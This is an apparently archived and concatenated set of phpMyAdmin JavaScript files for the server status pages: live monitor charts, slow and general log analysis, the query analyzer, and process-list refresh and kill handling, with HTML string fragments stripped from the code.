$('#chartGrid').find('tr').last().append( '
              ' + '
              ' + '
              ' ); } // Set series' data as [0,0], smooth lines won't plot with data array having null values. // also chart won't plot initially with no data and data comes on refreshChartGrid() var series = []; for (i in chartObj.series) { series.push([[0, 0]]); } var tempTooltipContentEditor = function (str, seriesIndex, pointIndex, plot) { var j; // TODO: move style to theme CSS var tooltipHtml = '
              '; // x value i.e. time var timeValue = str.split(',')[0]; var seriesValue; tooltipHtml += 'Time: ' + timeValue; tooltipHtml += ''; // Add y values to the tooltip per series for (j in plot.series) { // get y value if present if (plot.series[j].data.length > pointIndex) { seriesValue = plot.series[j].data[pointIndex][1]; } else { return; } var seriesLabel = plot.series[j].label; var seriesColor = plot.series[j].color; // format y value if (plot.series[0]._yaxis.tickOptions.formatter) { // eslint-disable-line no-underscore-dangle // using formatter function // eslint-disable-next-line no-underscore-dangle seriesValue = plot.series[0]._yaxis.tickOptions.formatter('%s', seriesValue); } else if (plot.series[0]._yaxis.tickOptions.formatString) { // eslint-disable-line no-underscore-dangle // using format string // eslint-disable-next-line no-underscore-dangle seriesValue = Functions.sprintf(plot.series[0]._yaxis.tickOptions.formatString, seriesValue); } tooltipHtml += '
              ' + seriesLabel + ': ' + seriesValue + ''; } tooltipHtml += '
              '; return tooltipHtml; }; // set Tooltip for each series for (i in settings.series) { settings.series[i].highlighter = { show: true, tooltipContentEditor: tempTooltipContentEditor }; } chartObj.chart = $.jqplot('gridchart' + runtime.chartAI, series, settings); // remove [0,0] after plotting for (i in chartObj.chart.series) { chartObj.chart.series[i].data.shift(); } var $legend = $('
              ').css('padding', '0.5em'); for (i in chartObj.chart.series) { $legend.append( $('
              ').append( $('
              ').css({ width: '1em', height: '1em', background: chartObj.chart.seriesColors[i] }).addClass('float-start') ).append( $('
              ').text( chartObj.chart.series[i].label ).addClass('float-start') ).append( $('
              ') ).addClass('float-start') ); } $('#gridchart' + runtime.chartAI) .parent() .append($legend); if (initialize !== true) { runtime.charts['c' + runtime.chartAI] = chartObj; buildRequiredDataList(); } // time span selection $('#gridchart' + runtime.chartAI).on('jqplotMouseDown', function (ev, gridpos, datapos) { drawTimeSpan = true; selectionTimeDiff.push(datapos.xaxis); if ($('#selection_box').length) { $('#selection_box').remove(); } var selectionBox = $('
              '); // eslint-disable-next-line compat/compat $(document.body).append(selectionBox); selectionStartX = ev.pageX; selectionStartY = ev.pageY; selectionBox .attr({ id: 'selection_box' }) .css({ top: selectionStartY - gridpos.y, left: selectionStartX }) .fadeIn(); }); $('#gridchart' + runtime.chartAI).on('jqplotMouseUp', function (ev, gridpos, datapos) { if (! drawTimeSpan || editMode) { return; } selectionTimeDiff.push(datapos.xaxis); if (selectionTimeDiff[1] <= selectionTimeDiff[0]) { selectionTimeDiff = []; return; } // get date from timestamp var min = new Date(Math.ceil(selectionTimeDiff[0])); var max = new Date(Math.ceil(selectionTimeDiff[1])); getLogAnalyseDialog(min, max); selectionTimeDiff = []; drawTimeSpan = false; }); $('#gridchart' + runtime.chartAI).on('jqplotMouseMove', function (ev) { if (! drawTimeSpan || editMode) { return; } if (selectionStartX !== undefined) { $('#selection_box') .css({ width: Math.ceil(ev.pageX - selectionStartX) }) .fadeIn(); } }); $('#gridchart' + runtime.chartAI).on('jqplotMouseLeave', function () { drawTimeSpan = false; }); // eslint-disable-next-line compat/compat $(document.body).on('mouseup', function () { if ($('#selection_box').length) { $('#selection_box').remove(); } }); // Edit, Print icon only in edit mode $('#chartGrid').find('div svg').find('*[zIndex=20], *[zIndex=21], *[zIndex=19]').toggle(editMode); runtime.chartAI++; } function getLogAnalyseDialog (min, max) { var $logAnalyseDialog = $('#logAnalyseDialog'); var $dateStart = $logAnalyseDialog.find('input[name="dateStart"]'); var $dateEnd = $logAnalyseDialog.find('input[name="dateEnd"]'); $dateStart.prop('readonly', true); $dateEnd.prop('readonly', true); var dlgBtns = { [Messages.strFromSlowLog]: { text: Messages.strFromSlowLog, class: 'btn btn-secondary', }, [Messages.strFromGeneralLog]: { text: Messages.strFromGeneralLog, class: 'btn btn-secondary', }, }; dlgBtns[Messages.strFromSlowLog].click = function () { loadLog('slow', min, max); $(this).dialog('close'); }; dlgBtns[Messages.strFromGeneralLog].click = function () { loadLog('general', min, max); $(this).dialog('close'); }; $logAnalyseDialog.dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 'auto', height: 'auto', buttons: dlgBtns }); Functions.addDatepicker($dateStart, 'datetime', { showMillisec: false, showMicrosec: false, timeFormat: 'HH:mm:ss', firstDay: firstDayOfCalendar }); Functions.addDatepicker($dateEnd, 'datetime', { showMillisec: false, showMicrosec: false, timeFormat: 'HH:mm:ss', firstDay: firstDayOfCalendar }); $dateStart.datepicker('setDate', min); $dateEnd.datepicker('setDate', max); } function loadLog (type, min, max) { var dateStart = Date.parse($('#logAnalyseDialog').find('input[name="dateStart"]').datepicker('getDate')) || min; var dateEnd = Date.parse($('#logAnalyseDialog').find('input[name="dateEnd"]').datepicker('getDate')) || max; loadLogStatistics({ src: type, start: dateStart, end: dateEnd, removeVariables: $('#removeVariables').prop('checked'), limitTypes: $('#limitTypes').prop('checked') }); } /* Called in regular intervals, this function updates the values of each chart in the grid */ function refreshChartGrid () { /* Send to server */ runtime.refreshRequest = $.post('index.php?route=/server/status/monitor/chart', { 'ajax_request': true, 'requiredData': JSON.stringify(runtime.dataList), 'server': CommonParams.get('server') }, function (data) { var chartData; if (typeof data !== 'undefined' && data.success === true) { chartData = data.message; } else { return serverResponseError(); } var value; var i = 0; var diff; var total; /* Update values in each graph */ $.each(runtime.charts, function (orderKey, elem) { var key = elem.chartID; // If newly added chart, we have no data for it yet if (! chartData[key]) { return; } // Draw all series total = 0; for (var j = 0; j < elem.nodes.length; j++) { // Update x-axis if (i === 0 && j === 0) { if (oldChartData === null) { diff = chartData.x - runtime.xmax; } else { diff = parseInt(chartData.x - oldChartData.x, 10); } runtime.xmin += diff; runtime.xmax += diff; } // elem.chart.xAxis[0].setExtremes(runtime.xmin, runtime.xmax, false); /* Calculate y value */ // If transform function given, use it if (elem.nodes[j].transformFn) { value = chartValueTransform( elem.nodes[j].transformFn, chartData[key][j], // Check if first iteration (oldChartData==null), or if newly added chart oldChartData[key]==null ( oldChartData === null || oldChartData[key] === null || oldChartData[key] === undefined ? null : oldChartData[key][j] ) ); // Otherwise use original value and apply differential and divisor if given, // in this case we have only one data point per series - located at chartData[key][j][0] } else { value = parseFloat(chartData[key][j][0].value); if (elem.nodes[j].display === 'differential') { if (oldChartData === null || oldChartData[key] === null || oldChartData[key] === undefined ) { continue; } value -= oldChartData[key][j][0].value; } if (elem.nodes[j].valueDivisor) { value = value / elem.nodes[j].valueDivisor; } } // Set y value, if defined if (value !== undefined) { elem.chart.series[j].data.push([chartData.x, value]); if (value > elem.maxYLabel) { elem.maxYLabel = value; } else if (elem.maxYLabel === 0) { elem.maxYLabel = 0.5; } // free old data point values and update maxYLabel if (elem.chart.series[j].data.length > runtime.gridMaxPoints && elem.chart.series[j].data[0][0] < runtime.xmin ) { // check if the next freeable point is highest if (elem.maxYLabel <= elem.chart.series[j].data[0][1]) { elem.chart.series[j].data.splice(0, elem.chart.series[j].data.length - runtime.gridMaxPoints); elem.maxYLabel = getMaxYLabel(elem.chart.series[j].data); } else { elem.chart.series[j].data.splice(0, elem.chart.series[j].data.length - runtime.gridMaxPoints); } } if (elem.title === Messages.strSystemMemory || elem.title === Messages.strSystemSwap ) { total += value; } } } // update chart options // keep ticks number/positioning consistent while refreshrate changes var tickInterval = (runtime.xmax - runtime.xmin) / 5; elem.chart.axes.xaxis.ticks = [(runtime.xmax - tickInterval * 4), (runtime.xmax - tickInterval * 3), (runtime.xmax - tickInterval * 2), (runtime.xmax - tickInterval), runtime.xmax]; if (elem.title !== Messages.strSystemCPUUsage && elem.title !== Messages.strQueryCacheEfficiency && elem.title !== Messages.strSystemMemory && elem.title !== Messages.strSystemSwap ) { elem.chart.axes.yaxis.max = Math.ceil(elem.maxYLabel * 1.1); elem.chart.axes.yaxis.tickInterval = Math.ceil(elem.maxYLabel * 1.1 / 5); } else if (elem.title === Messages.strSystemMemory || elem.title === Messages.strSystemSwap ) { elem.chart.axes.yaxis.max = Math.ceil(total * 1.1 / 100) * 100; elem.chart.axes.yaxis.tickInterval = Math.ceil(total * 1.1 / 5); } i++; if (runtime.redrawCharts) { elem.chart.replot(); } }); oldChartData = chartData; runtime.refreshTimeout = setTimeout(refreshChartGrid, monitorSettings.gridRefresh); }); } /* Function to get highest plotted point's y label, to scale the chart, * TODO: make jqplot's autoscale:true work here */ function getMaxYLabel (dataValues) { var maxY = dataValues[0][1]; $.each(dataValues, function (k, v) { maxY = (v[1] > maxY) ? v[1] : maxY; }); return maxY; } /* Function that supplies special value transform functions for chart values */ function chartValueTransform (name, cur, prev) { switch (name) { case 'cpu-linux': if (prev === null) { return undefined; } // cur and prev are datapoint arrays, but containing // only 1 element for cpu-linux var newCur = cur[0]; var newPrev = prev[0]; var diffTotal = newCur.busy + newCur.idle - (newPrev.busy + newPrev.idle); var diffIdle = newCur.idle - newPrev.idle; return 100 * (diffTotal - diffIdle) / diffTotal; // Query cache efficiency (%) case 'qce': if (prev === null) { return undefined; } // cur[0].value is Qcache_hits, cur[1].value is Com_select var diffQHits = cur[0].value - prev[0].value; // No NaN please :-) if (cur[1].value - prev[1].value === 0) { return 0; } return diffQHits / (cur[1].value - prev[1].value + diffQHits) * 100; // Query cache usage (%) case 'qcu': if (cur[1].value === 0) { return 0; } // cur[0].value is Qcache_free_memory, cur[1].value is query_cache_size return 100 - cur[0].value / cur[1].value * 100; } return undefined; } /* Build list of nodes that need to be retrieved from server. * It creates something like a stripped down version of the runtime.charts object. */ function buildRequiredDataList () { runtime.dataList = {}; // Store an own id, because the property name is subject of reordering, // thus destroying our mapping with runtime.charts <=> runtime.dataList var chartID = 0; $.each(runtime.charts, function (key, chart) { runtime.dataList[chartID] = []; for (var i = 0, l = chart.nodes.length; i < l; i++) { runtime.dataList[chartID][i] = chart.nodes[i].dataPoints; } runtime.charts[key].chartID = chartID; chartID++; }); } /* Loads the log table data, generates the table and handles the filters */ function loadLogStatistics (opts) { var logRequest = null; if (! opts.removeVariables) { opts.removeVariables = false; } if (! opts.limitTypes) { opts.limitTypes = false; } $('#emptyDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, title: Messages.strAnalysingLogsTitle }); $('#emptyDialog').html(Messages.strAnalysingLogs + ' '); var dlgBtns = { [Messages.strCancelRequest]: { text: Messages.strCancelRequest, class: 'btn btn-primary', }, }; dlgBtns[Messages.strCancelRequest].click = function () { if (logRequest !== null) { logRequest.abort(); } $(this).dialog('close'); }; $('#emptyDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 'auto', height: 'auto', buttons: dlgBtns }); var url = 'index.php?route=/server/status/monitor/slow-log'; if (opts.src === 'general') { url = 'index.php?route=/server/status/monitor/general-log'; } logRequest = $.post( url, { 'ajax_request': true, 'time_start': Math.round(opts.start / 1000), 'time_end': Math.round(opts.end / 1000), 'removeVariables': opts.removeVariables, 'limitTypes': opts.limitTypes, 'server': CommonParams.get('server') }, function (data) { var logData; var dlgBtns = { [Messages.strClose]: { text: Messages.strClose, class: 'btn btn-primary', }, }; if (typeof data !== 'undefined' && data.success === true) { logData = data.message; } else { return serverResponseError(); } if (logData.rows.length === 0) { $('#emptyDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, title: Messages.strNoDataFoundTitle, }); $('#emptyDialog').html('

              ' + Messages.strNoDataFound + '

              '); dlgBtns[Messages.strClose].click = function () { $(this).dialog('close'); }; $('#emptyDialog').dialog('option', 'buttons', dlgBtns); return; } runtime.logDataCols = buildLogTable(logData, opts.removeVariables); /* Show some stats in the dialog */ $('#emptyDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, title: Messages.strLoadingLogs }); $('#emptyDialog').html('

              ' + Messages.strLogDataLoaded + '

              '); $.each(logData.sum, function (key, value) { var newKey = key.charAt(0).toUpperCase() + key.slice(1).toLowerCase(); if (newKey === 'Total') { newKey = '' + newKey + ''; } $('#emptyDialog').append(newKey + ': ' + value + '
              '); }); /* Add filter options if more than a bunch of rows there to filter */ if (logData.numRows > 12) { $('#logTable').prepend( '
              ' + ' ' + Messages.strFiltersForLogTable + '' + '
              ' + ' ' + ' ' + '
              ' + ((logData.numRows > 250) ? '
              ' : '') + '
              ' + ' ' + ' ' + ' ' ); $('#noWHEREData').on('change', function () { filterQueries(true); }); if (logData.numRows > 250) { $('#startFilterQueryText').on('click', filterQueries); } else { $('#filterQueryText').on('keyup', filterQueries); } } dlgBtns[Messages.strJumpToTable] = { text: Messages.strJumpToTable, class: 'btn btn-secondary', click: function () { $(this).dialog('close'); $(document).scrollTop($('#logTable').offset().top); }, }; $('#emptyDialog').dialog('option', 'buttons', dlgBtns); } ); /** * Handles the actions performed when the user uses any of the * log table filters which are the filter by name and grouping * with ignoring data in WHERE clauses * * @param {boolean} varFilterChange Should be true when the users enabled or disabled * to group queries ignoring data in WHERE clauses */ function filterQueries (varFilterChange) { var textFilter; var val = $('#filterQueryText').val(); if (val.length === 0) { textFilter = null; } else { try { textFilter = new RegExp(val, 'i'); $('#filterQueryText').removeClass('error'); } catch (e) { if (e instanceof SyntaxError) { $('#filterQueryText').addClass('error'); textFilter = null; } } } var rowSum = 0; var totalSum = 0; var i = 0; var q; var noVars = $('#noWHEREData').prop('checked'); var equalsFilter = /([^=]+)=(\d+|(('|"|).*?[^\\])\4((\s+)|$))/gi; var functionFilter = /([a-z0-9_]+)\(.+?\)/gi; var filteredQueries = {}; var filteredQueriesLines = {}; var hide = false; var rowData; var queryColumnName = runtime.logDataCols[runtime.logDataCols.length - 2]; var sumColumnName = runtime.logDataCols[runtime.logDataCols.length - 1]; var isSlowLog = opts.src === 'slow'; var columnSums = {}; // For the slow log we have to count many columns (query_time, lock_time, rows_examined, rows_sent, etc.) var countRow = function (query, row) { var cells = row.match(/(.*?)<\/td>/gi); if (!columnSums[query]) { columnSums[query] = [0, 0, 0, 0]; } // lock_time and query_time and displayed in timespan format columnSums[query][0] += timeToSec(cells[2].replace(/(|<\/td>)/gi, '')); columnSums[query][1] += timeToSec(cells[3].replace(/(|<\/td>)/gi, '')); // rows_examind and rows_sent are just numbers columnSums[query][2] += parseInt(cells[4].replace(/(|<\/td>)/gi, ''), 10); columnSums[query][3] += parseInt(cells[5].replace(/(|<\/td>)/gi, ''), 10); }; // We just assume the sql text is always in the second last column, and that the total count is right of it $('#logTable').find('table tbody tr td.queryCell').each(function () { var $t = $(this); // If query is a SELECT and user enabled or disabled to group // queries ignoring data in where statements, we // need to re-calculate the sums of each row if (varFilterChange && $t.html().match(/^SELECT/i)) { if (noVars) { // Group on => Sum up identical columns, and hide all but 1 q = $t.text().replace(equalsFilter, '$1=...$6').trim(); q = q.replace(functionFilter, ' $1(...)'); // Js does not specify a limit on property name length, // so we can abuse it as index :-) if (filteredQueries[q]) { filteredQueries[q] += parseInt($t.next().text(), 10); totalSum += parseInt($t.next().text(), 10); hide = true; } else { filteredQueries[q] = parseInt($t.next().text(), 10); filteredQueriesLines[q] = i; $t.text(q); } if (isSlowLog) { countRow(q, $t.parent().html()); } } else { // Group off: Restore original columns rowData = $t.parent().data('query'); // Restore SQL text $t.text(rowData[queryColumnName]); // Restore total count $t.next().text(rowData[sumColumnName]); // Restore slow log columns if (isSlowLog) { $t.parent().children('td').eq(2).text(rowData.query_time); $t.parent().children('td').eq(3).text(rowData.lock_time); $t.parent().children('td').eq(4).text(rowData.rows_sent); $t.parent().children('td').eq(5).text(rowData.rows_examined); } } } // If not required to be hidden, do we need // to hide because of a not matching text filter? if (! hide && (textFilter !== null && ! textFilter.exec($t.text()))) { hide = true; } // Now display or hide this column if (hide) { $t.parent().css('display', 'none'); } else { totalSum += parseInt($t.next().text(), 10); rowSum++; $t.parent().css('display', ''); } hide = false; i++; }); // We finished summarizing counts => Update count values of all grouped entries if (varFilterChange) { if (noVars) { var numCol; var row; var $table = $('#logTable').find('table tbody'); $.each(filteredQueriesLines, function (key, value) { if (filteredQueries[key] <= 1) { return; } row = $table.children('tr').eq(value); numCol = row.children().eq(runtime.logDataCols.length - 1); numCol.text(filteredQueries[key]); if (isSlowLog) { row.children('td').eq(2).text(secToTime(columnSums[key][0])); row.children('td').eq(3).text(secToTime(columnSums[key][1])); row.children('td').eq(4).text(columnSums[key][2]); row.children('td').eq(5).text(columnSums[key][3]); } }); } $('#logTable').find('table').trigger('update'); setTimeout(function () { $('#logTable').find('table').trigger('sorton', [[[runtime.logDataCols.length - 1, 1]]]); }, 0); } // Display some stats at the bottom of the table $('#logTable').find('table tfoot tr') .html('' + Messages.strSumRows + ' ' + rowSum + '' + Messages.strTotal + '' + totalSum + ''); } } /* Turns a timespan (12:12:12) into a number */ function timeToSec (timeStr) { var time = timeStr.split(':'); return (parseInt(time[0], 10) * 3600) + (parseInt(time[1], 10) * 60) + parseInt(time[2], 10); } /* Turns a number into a timespan (100 into 00:01:40) */ function secToTime (timeInt) { var time = timeInt; var hours = Math.floor(time / 3600); time -= hours * 3600; var minutes = Math.floor(time / 60); time -= minutes * 60; if (hours < 10) { hours = '0' + hours; } if (minutes < 10) { minutes = '0' + minutes; } if (time < 10) { time = '0' + time; } return hours + ':' + minutes + ':' + time; } /* Constructs the log table out of the retrieved server data */ function buildLogTable (data, groupInserts) { var rows = data.rows; var cols = []; var $table = $('
              '); var $tBody; var $tRow; var $tCell; $('#logTable').html($table); var tempPushKey = function (key) { cols.push(key); }; var formatValue = function (name, value) { if (name === 'user_host') { return value.replace(/(\[.*?\])+/g, ''); } return Functions.escapeHtml(value); }; for (var i = 0, l = rows.length; i < l; i++) { if (i === 0) { $.each(rows[0], tempPushKey); $table.append('' + '' + cols.join('') + '' + '' ); $table.append($tBody = $('')); } $tBody.append($tRow = $('')); for (var j = 0, ll = cols.length; j < ll; j++) { // Assuming the query column is the second last if (j === cols.length - 2 && rows[i][cols[j]].match(/^SELECT/i)) { $tRow.append($tCell = $('' + formatValue(cols[j], rows[i][cols[j]]) + '')); $tCell.on('click', openQueryAnalyzer); } else { $tRow.append('' + formatValue(cols[j], rows[i][cols[j]]) + ''); } $tRow.data('query', rows[i]); } } $table.append('' + '' + Messages.strSumRows + ' ' + data.numRows + '' + Messages.strTotal + '' + data.sum.TOTAL + ''); // Append a tooltip to the count column, if there exist one if ($('#logTable').find('tr').first().find('th').last().text().indexOf('#') > -1) { $('#logTable').find('tr').first().find('th').last().append(' ' + Functions.getImage('b_help', '', { 'class': 'qroupedQueryInfoIcon' })); var tooltipContent = Messages.strCountColumnExplanation; if (groupInserts) { tooltipContent += '

              ' + Messages.strMoreCountColumnExplanation + '

              '; } Functions.tooltip( $('img.qroupedQueryInfoIcon'), 'img', tooltipContent ); } $('#logTable').find('table').tablesorter({ sortList: [[cols.length - 1, 1]], widgets: ['fast-zebra'] }); $('#logTable').find('table thead th') .append('
              '); return cols; } /* Opens the query analyzer dialog */ function openQueryAnalyzer () { var rowData = $(this).parent().data('query'); var query = rowData.argument || rowData.sql_text; if (codeMirrorEditor) { // TODO: somehow Functions.sqlPrettyPrint messes up the query, needs be fixed // query = Functions.sqlPrettyPrint(query); codeMirrorEditor.setValue(query); // Codemirror is bugged, it doesn't refresh properly sometimes. // Following lines seem to fix that setTimeout(function () { codeMirrorEditor.refresh(); }, 50); } else { $('#sqlquery').val(query); } var profilingChart = null; var dlgBtns = { [Messages.strAnalyzeQuery]: { text: Messages.strAnalyzeQuery, class: 'btn btn-primary', }, [Messages.strClose]: { text: Messages.strClose, class: 'btn btn-secondary', }, }; dlgBtns[Messages.strAnalyzeQuery].click = function () { profilingChart = loadQueryAnalysis(rowData); }; dlgBtns[Messages.strClose].click = function () { $(this).dialog('close'); }; $('#queryAnalyzerDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 'auto', height: 'auto', resizable: false, buttons: dlgBtns, close: function () { if (profilingChart !== null) { profilingChart.destroy(); } $('#queryAnalyzerDialog').find('div.placeHolder').html(''); if (codeMirrorEditor) { codeMirrorEditor.setValue(''); } else { $('#sqlquery').val(''); } } }); } /* Loads and displays the analyzed query data */ function loadQueryAnalysis (rowData) { var db = rowData.db || ''; var profilingChart = null; $('#queryAnalyzerDialog').find('div.placeHolder').html( Messages.strAnalyzing + ' '); $.post('index.php?route=/server/status/monitor/query', { 'ajax_request': true, 'query': codeMirrorEditor ? codeMirrorEditor.getValue() : $('#sqlquery').val(), 'database': db, 'server': CommonParams.get('server') }, function (responseData) { var data = responseData; var i; var l; if (typeof data !== 'undefined' && data.success === true) { data = data.message; } if (data.error) { if (data.error.indexOf('1146') !== -1 || data.error.indexOf('1046') !== -1) { data.error = Messages.strServerLogError; } $('#queryAnalyzerDialog').find('div.placeHolder').html(''); return; } var totalTime = 0; // Float sux, I'll use table :( $('#queryAnalyzerDialog').find('div.placeHolder') .html('
              '); var explain = '' + Messages.strExplainOutput + ' ' + $('#explain_docu').html(); if (data.explain.length > 1) { explain += ' ('; for (i = 0; i < data.explain.length; i++) { if (i > 0) { explain += ', '; } explain += '' + i + ''; } explain += ')'; } explain += '

              '; var tempExplain = function (key, value) { var newValue = (value === null) ? 'null' : Functions.escapeHtml(value); if (key === 'type' && newValue.toLowerCase() === 'all') { newValue = '' + newValue + ''; } if (key === 'Extra') { newValue = newValue.replace(/(using (temporary|filesort))/gi, '$1'); } explain += key + ': ' + newValue + '
              '; }; for (i = 0, l = data.explain.length; i < l; i++) { explain += '
              0 ? 'style="display:none;"' : '') + '>'; $.each(data.explain[i], tempExplain); explain += '
              '; } explain += '

              ' + Messages.strAffectedRows + ' ' + data.affectedRows; $('#queryAnalyzerDialog').find('div.placeHolder td.explain').append(explain); $('#queryAnalyzerDialog').find('div.placeHolder a[href*="#showExplain"]').on('click', function () { var id = $(this).attr('href').split('-')[1]; $(this).parent().find('div[class*="explain"]').hide(); $(this).parent().find('div[class*="explain-' + id + '"]').show(); }); if (data.profiling) { var chartData = []; var numberTable = ''; var duration; var otherTime = 0; for (i = 0, l = data.profiling.length; i < l; i++) { duration = parseFloat(data.profiling[i].duration); totalTime += duration; numberTable += ''; } // Only put those values in the pie which are > 2% for (i = 0, l = data.profiling.length; i < l; i++) { duration = parseFloat(data.profiling[i].duration); if (duration / totalTime > 0.02) { chartData.push([Functions.prettyProfilingNum(duration, 2) + ' ' + data.profiling[i].state, duration]); } else { otherTime += duration; } } if (otherTime > 0) { chartData.push([Functions.prettyProfilingNum(otherTime, 2) + ' ' + Messages.strOther, otherTime]); } numberTable += ''; numberTable += '
              ' + Messages.strStatus + '' + Messages.strTime + '
              ' + data.profiling[i].state + ' ' + Functions.prettyProfilingNum(duration, 2) + '
              ' + Messages.strTotalTime + '' + Functions.prettyProfilingNum(totalTime, 2) + '
              '; $('#queryAnalyzerDialog').find('div.placeHolder td.chart').append( '' + Messages.strProfilingResults + ' ' + $('#profiling_docu').html() + ' ' + '(' + Messages.strTable + ', ' + Messages.strChart + ')
              ' + numberTable + '

              '); $('#queryAnalyzerDialog').find('div.placeHolder a[href="#showNums"]').on('click', function () { $('#queryAnalyzerDialog').find('#queryProfiling').hide(); $('#queryAnalyzerDialog').find('table.queryNums').show(); return false; }); $('#queryAnalyzerDialog').find('div.placeHolder a[href="#showChart"]').on('click', function () { $('#queryAnalyzerDialog').find('#queryProfiling').show(); $('#queryAnalyzerDialog').find('table.queryNums').hide(); return false; }); profilingChart = Functions.createProfilingChart( 'queryProfiling', chartData ); } }); return profilingChart; } /* Saves the monitor to localstorage */ function saveMonitor () { var gridCopy = {}; $.each(runtime.charts, function (key, elem) { gridCopy[key] = {}; gridCopy[key].nodes = elem.nodes; gridCopy[key].settings = elem.settings; gridCopy[key].title = elem.title; gridCopy[key].series = elem.series; gridCopy[key].maxYLabel = elem.maxYLabel; }); if (isStorageSupported('localStorage')) { window.localStorage.monitorCharts = JSON.stringify(gridCopy); window.localStorage.monitorSettings = JSON.stringify(monitorSettings); window.localStorage.monitorVersion = monitorProtocolVersion; } $('a[href="#clearMonitorConfig"]').show(); } }); // Run the monitor once loaded AJAX.registerOnload('server/status/monitor.js', function () { $('a[href="#pauseCharts"]').trigger('click'); }); server/status/processes.js000066600000015335151724624350011765 0ustar00/** * Server Status Processes * * @package PhpMyAdmin */ // object to store process list state information var processList = { // denotes whether auto refresh is on or off autoRefresh: false, // stores the GET request which refresh process list refreshRequest: null, // stores the timeout id returned by setTimeout refreshTimeout: null, // the refresh interval in seconds refreshInterval: null, // the refresh URL (required to save last used option) // i.e. full or sorting url refreshUrl: null, /** * Handles killing of a process * * @return {void} */ init: function () { processList.setRefreshLabel(); if (processList.refreshUrl === null) { processList.refreshUrl = 'index.php?route=/server/status/processes/refresh'; } if (processList.refreshInterval === null) { processList.refreshInterval = $('#id_refreshRate').val(); } else { $('#id_refreshRate').val(processList.refreshInterval); } }, /** * Handles killing of a process * * @param {object} event the event object * * @return {void} */ killProcessHandler: function (event) { event.preventDefault(); var argSep = CommonParams.get('arg_separator'); var params = $(this).getPostData(); params += argSep + 'ajax_request=1' + argSep + 'server=' + CommonParams.get('server'); // Get row element of the process to be killed. var $tr = $(this).closest('tr'); $.post($(this).attr('href'), params, function (data) { // Check if process was killed or not. if (data.hasOwnProperty('success') && data.success) { // remove the row of killed process. $tr.remove(); // As we just removed a row, reapply odd-even classes // to keep table stripes consistent var $tableProcessListTr = $('#tableprocesslist').find('> tbody > tr'); $tableProcessListTr.each(function (index) { if (index >= 0 && index % 2 === 0) { $(this).removeClass('odd').addClass('even'); } else if (index >= 0 && index % 2 !== 0) { $(this).removeClass('even').addClass('odd'); } }); // Show process killed message Functions.ajaxShowMessage(data.message, false); } else { // Show process error message Functions.ajaxShowMessage(data.error, false); } }, 'json'); }, /** * Handles Auto Refreshing * @return {void} */ refresh: function () { // abort any previous pending requests // this is necessary, it may go into // multiple loops causing unnecessary // requests even after leaving the page. processList.abortRefresh(); // if auto refresh is enabled if (processList.autoRefresh) { // Only fetch the table contents processList.refreshUrl = 'index.php?route=/server/status/processes/refresh'; var interval = parseInt(processList.refreshInterval, 10) * 1000; var urlParams = processList.getUrlParams(); processList.refreshRequest = $.post(processList.refreshUrl, urlParams, function (data) { if (data.hasOwnProperty('success') && data.success) { var $newTable = $(data.message); $('#tableprocesslist').html($newTable.html()); Functions.highlightSql($('#tableprocesslist')); } processList.refreshTimeout = setTimeout( processList.refresh, interval ); }); } }, /** * Stop current request and clears timeout * * @return {void} */ abortRefresh: function () { if (processList.refreshRequest !== null) { processList.refreshRequest.abort(); processList.refreshRequest = null; } clearTimeout(processList.refreshTimeout); }, /** * Set label of refresh button * change between play & pause * * @return {void} */ setRefreshLabel: function () { var img = 'play'; var label = Messages.strStartRefresh; if (processList.autoRefresh) { img = 'pause'; label = Messages.strStopRefresh; processList.refresh(); } $('a#toggleRefresh').html(Functions.getImage(img) + Functions.escapeHtml(label)); }, /** * Return the Url Parameters * for autorefresh request, * includes showExecuting if the filter is checked * * @return {object} urlParams - url parameters with autoRefresh request */ getUrlParams: function () { var urlParams = { 'server': CommonParams.get('server'), 'ajax_request': true, 'refresh': true, 'full': $('input[name="full"]').val(), 'order_by_field': $('input[name="order_by_field"]').val(), 'column_name': $('input[name="column_name"]').val(), 'sort_order': $('input[name="sort_order"]').val() }; if ($('#showExecuting').is(':checked')) { urlParams.showExecuting = true; return urlParams; } return urlParams; } }; AJAX.registerOnload('server/status/processes.js', function () { processList.init(); // Bind event handler for kill_process $('#tableprocesslist').on( 'click', 'a.kill_process', processList.killProcessHandler ); // Bind event handler for toggling refresh of process list $('a#toggleRefresh').on('click', function (event) { event.preventDefault(); processList.autoRefresh = !processList.autoRefresh; processList.setRefreshLabel(); }); // Bind event handler for change in refresh rate $('#id_refreshRate').on('change', function () { processList.refreshInterval = $(this).val(); processList.refresh(); }); // Bind event handler for table header links $('#tableprocesslist').on('click', 'thead a', function () { processList.refreshUrl = $(this).attr('href'); }); }); /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('server/status/processes.js', function () { $('#tableprocesslist').off('click', 'a.kill_process'); $('a#toggleRefresh').off('click'); $('#id_refreshRate').off('change'); $('#tableprocesslist').off('click', 'thead a'); // stop refreshing further processList.abortRefresh(); }); server/status/queries.js000066600000002537151724624350011434 0ustar00/** * @fileoverview Javascript functions used in server status query page * @name Server Status Query * * @requires jQuery * @requires jQueryUI * @requires js/functions.js */ /* global initTableSorter */ // js/server/status/sorter.js /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('server/status/queries.js', function () { if (document.getElementById('serverstatusquerieschart') !== null) { var queryPieChart = $('#serverstatusquerieschart').data('queryPieChart'); if (queryPieChart) { queryPieChart.destroy(); } } }); AJAX.registerOnload('server/status/queries.js', function () { // Build query statistics chart var cdata = []; try { if (document.getElementById('serverstatusquerieschart') !== null) { $.each($('#serverstatusquerieschart').data('chart'), function (key, value) { cdata.push([key, parseInt(value, 10)]); }); $('#serverstatusquerieschart').data( 'queryPieChart', Functions.createProfilingChart( 'serverstatusquerieschart', cdata ) ); } } catch (exception) { // Could not load chart, no big deal... } initTableSorter('statustabs_queries'); }); server/status/sorter.js000066600000004007151724624350011267 0ustar00// TODO: tablesorter shouldn't sort already sorted columns // eslint-disable-next-line no-unused-vars function initTableSorter (tabid) { var $table; var opts; switch (tabid) { case 'statustabs_queries': $table = $('#serverStatusQueriesDetails'); opts = { sortList: [[3, 1]], headers: { 1: { sorter: 'fancyNumber' }, 2: { sorter: 'fancyNumber' } } }; break; } $table.tablesorter(opts); $table.find('tr').first().find('th') .append('
